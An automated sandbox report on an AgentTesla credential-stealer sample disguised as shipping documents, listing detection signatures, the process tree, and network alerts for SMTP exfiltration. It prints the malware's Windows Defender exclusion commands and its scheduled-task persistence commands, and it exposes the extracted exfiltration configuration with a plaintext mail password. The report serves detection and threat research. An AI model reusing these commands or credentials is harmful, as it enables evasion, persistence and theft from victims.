Edit tour

Windows Analysis Report
NEW SHIPPING DOCUMENTS.exe

Overview

General Information

Sample name:	NEW SHIPPING DOCUMENTS.exe
Analysis ID:	1591638
MD5:	10a2684aae3f75a984dc63506e8ed8dc
SHA1:	99a1ef344d13f5b44f3b0526f44072154e30641b
SHA256:	6f094aa75a8322555241fae3063c17075a6ed5166bfb41c9055c390278178d6b
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

NEW SHIPPING DOCUMENTS.exe (PID: 5552 cmdline: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe" MD5: 10A2684AAE3F75A984DC63506E8ED8DC)

powershell.exe (PID: 6368 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6712 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5356 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 5700 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NEW SHIPPING DOCUMENTS.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe" MD5: 10A2684AAE3F75A984DC63506E8ED8DC)

RvUJzKx.exe (PID: 6492 cmdline: C:\Users\user\AppData\Roaming\RvUJzKx.exe MD5: 10A2684AAE3F75A984DC63506E8ED8DC)

schtasks.exe (PID: 6072 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RvUJzKx.exe (PID: 6820 cmdline: "C:\Users\user\AppData\Roaming\RvUJzKx.exe" MD5: 10A2684AAE3F75A984DC63506E8ED8DC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.stilbo.eu", "Username": "bogdan.hafner@stilbo.eu", "Password": "StilBO_#1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 7140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 7140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RvUJzKx.exe PID: 6492	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RvUJzKx.exe PID: 6820	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RvUJzKx.exe PID: 6820	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.NEW SHIPPING DOCUMENTS.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31713:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31785:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3180f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x318a1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3190b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3197d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31a13:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31aa3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33513:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33585:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3360f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336a1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3370b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3377d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33813:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338a3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31713:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31785:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3180f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x318a1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3190b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3197d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31a13:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31aa3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33513:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dd33:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33585:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dda5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3360f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6de2f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336a1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dec1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3370b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6df2b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3377d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df9d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33813:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e033:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338a3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e0c3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xb2533:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xecd53:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xb25a5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xecdc5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xb262f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xece4f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xb26c1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xecee1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xb272b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xecf4b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xb279d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xecfbd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xb2833:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xed053:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xb28c3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0xed0e3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x131553:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16bd73:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x1315c5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16bde5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x13164f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16be6f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1316e1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16bf01:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x13174b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16bf6b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x1317bd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16bfdd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x131853:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16c073:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x1318e3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x16c103:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ParentImage: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe, ParentProcessId: 5552, ParentProcessName: NEW SHIPPING DOCUMENTS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ProcessId: 6368, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\RvUJzKx.exe, ParentImage: C:\Users\user\AppData\Roaming\RvUJzKx.exe, ParentProcessId: 6492, ParentProcessName: RvUJzKx.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp", ProcessId: 6072, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 212.44.102.65, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe, Initiated: true, ProcessId: 7140, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ParentImage: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe, ParentProcessId: 5552, ParentProcessName: NEW SHIPPING DOCUMENTS.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", ProcessId: 5700, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ParentImage: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe, ParentProcessId: 5552, ParentProcessName: NEW SHIPPING DOCUMENTS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ProcessId: 6368, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe", ParentImage: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe, ParentProcessId: 5552, ParentProcessName: NEW SHIPPING DOCUMENTS.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp", ProcessId: 5700, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE AgentTesla Exfil Via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:40:00.730469+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49724	212.44.102.65	587	TCP
2025-01-15T08:40:00.730469+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49714	212.44.102.65	587	TCP
2025-01-15T08:41:26.619287+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49994	212.44.102.65	587	TCP
2025-01-15T08:41:36.980692+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49996	212.44.102.65	587	TCP
2025-01-15T08:41:42.320173+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49997	212.44.102.65	587	TCP
2025-01-15T08:42:05.375634+0100	2030171	1	A Network Trojan was detected	192.168.2.6	49999	212.44.102.65	587	TCP
2025-01-15T08:42:22.962578+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50001	212.44.102.65	587	TCP
2025-01-15T08:42:25.930500+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50002	212.44.102.65	587	TCP
2025-01-15T08:42:33.027740+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50003	212.44.102.65	587	TCP
2025-01-15T08:42:34.918407+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50004	212.44.102.65	587	TCP
2025-01-15T08:42:37.191851+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50005	212.44.102.65	587	TCP
2025-01-15T08:42:59.617539+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50006	212.44.102.65	587	TCP
2025-01-15T08:43:00.856892+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50009	212.44.102.65	587	TCP
2025-01-15T08:43:02.452302+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50010	212.44.102.65	587	TCP
2025-01-15T08:43:08.488383+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50011	212.44.102.65	587	TCP
2025-01-15T08:43:23.137247+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50013	212.44.102.65	587	TCP
2025-01-15T08:43:26.288908+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50014	212.44.102.65	587	TCP
2025-01-15T08:43:32.394561+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50015	212.44.102.65	587	TCP
2025-01-15T08:43:37.148727+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50016	212.44.102.65	587	TCP
2025-01-15T08:43:44.906076+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50017	212.44.102.65	587	TCP
2025-01-15T08:43:45.168660+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50018	212.44.102.65	587	TCP
2025-01-15T08:43:50.511642+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50019	212.44.102.65	587	TCP
2025-01-15T08:43:59.224570+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50021	212.44.102.65	587	TCP
2025-01-15T08:44:02.312599+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50022	212.44.102.65	587	TCP
2025-01-15T08:44:06.002352+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50023	212.44.102.65	587	TCP
2025-01-15T08:44:16.415811+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50025	212.44.102.65	587	TCP
2025-01-15T08:44:16.554803+0100	2030171	1	A Network Trojan was detected	192.168.2.6	50026	212.44.102.65	587	TCP

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:41:26.619287+0100	2840032	1	A Network Trojan was detected	192.168.2.6	49994	212.44.102.65	587	TCP
2025-01-15T08:41:36.980692+0100	2840032	1	A Network Trojan was detected	192.168.2.6	49996	212.44.102.65	587	TCP
2025-01-15T08:41:42.320173+0100	2840032	1	A Network Trojan was detected	192.168.2.6	49997	212.44.102.65	587	TCP
2025-01-15T08:42:05.375634+0100	2840032	1	A Network Trojan was detected	192.168.2.6	49999	212.44.102.65	587	TCP
2025-01-15T08:42:22.962578+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50001	212.44.102.65	587	TCP
2025-01-15T08:42:25.930500+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50002	212.44.102.65	587	TCP
2025-01-15T08:42:33.027740+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50003	212.44.102.65	587	TCP
2025-01-15T08:42:34.918407+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50004	212.44.102.65	587	TCP
2025-01-15T08:42:37.191851+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50005	212.44.102.65	587	TCP
2025-01-15T08:42:59.617539+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50006	212.44.102.65	587	TCP
2025-01-15T08:43:00.856892+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50009	212.44.102.65	587	TCP
2025-01-15T08:43:02.452302+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50010	212.44.102.65	587	TCP
2025-01-15T08:43:08.488383+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50011	212.44.102.65	587	TCP
2025-01-15T08:43:23.137247+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50013	212.44.102.65	587	TCP
2025-01-15T08:43:26.288908+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50014	212.44.102.65	587	TCP
2025-01-15T08:43:32.394561+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50015	212.44.102.65	587	TCP
2025-01-15T08:43:37.148727+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50016	212.44.102.65	587	TCP
2025-01-15T08:43:44.906076+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50017	212.44.102.65	587	TCP
2025-01-15T08:43:45.168660+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50018	212.44.102.65	587	TCP
2025-01-15T08:43:50.511642+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50019	212.44.102.65	587	TCP
